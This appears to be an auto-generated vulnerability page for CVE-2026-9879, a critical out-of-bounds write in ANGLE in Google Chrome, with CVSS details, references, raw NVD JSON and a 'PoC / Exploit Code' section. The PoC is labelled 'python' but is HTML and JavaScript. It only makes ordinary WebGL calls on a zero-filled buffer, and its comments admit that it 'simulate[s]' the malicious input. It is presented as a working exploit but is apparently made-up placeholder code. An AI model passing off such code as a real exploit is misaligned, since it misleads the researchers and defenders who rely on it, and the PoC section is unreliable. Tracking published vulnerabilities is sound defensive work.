CVE-2026-9879

Description

Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9879: Out of bounds write in ANGLE
Context: Google Chrome prior to 148.0.7778.216
Usage: Open in vulnerable browser version to trigger the crash.
-->
<html>
<head><title>CVE-2026-9879 PoC</title></head>
<body>
<script>
try {
    // Create a WebGL context which uses ANGLE
    var canvas = document.createElement('canvas');
    var gl = canvas.getContext('webgl');

    if (gl) {
        console.log("[+] WebGL context initialized via ANGLE.");
        
        // Attempt to trigger the out-of-bounds write
        // by manipulating buffer data with crafted parameters
        var buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        
        // Simulate the malicious input that causes OOB write
        // Specific values depend on the internal ANGLE implementation
        var maliciousData = new Uint8Array(0x5000); 
        gl.bufferData(gl.ARRAY_BUFFER, maliciousData, gl.STATIC_DRAW);
        
        // Trigger drawing operation to exploit the corruption
        gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0);
        gl.enableVertexAttribArray(0);
        gl.drawArrays(gl.TRIANGLES, 0, 3);
        
        console.log("[+] Exploit logic executed.");
    } else {
        console.log("[-] WebGL not supported.");
    }
} catch (e) {
    console.log("[-] Error: " + e.message);
}
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9879
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9879
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9879/
[4] VulDB https://vuldb.com/cve/CVE-2026-9879
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/499129768

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9879", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:45.843", "lastModified": "2026-05-29T12:16:27.433", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/499129768", "source": "[email protected]"}]}}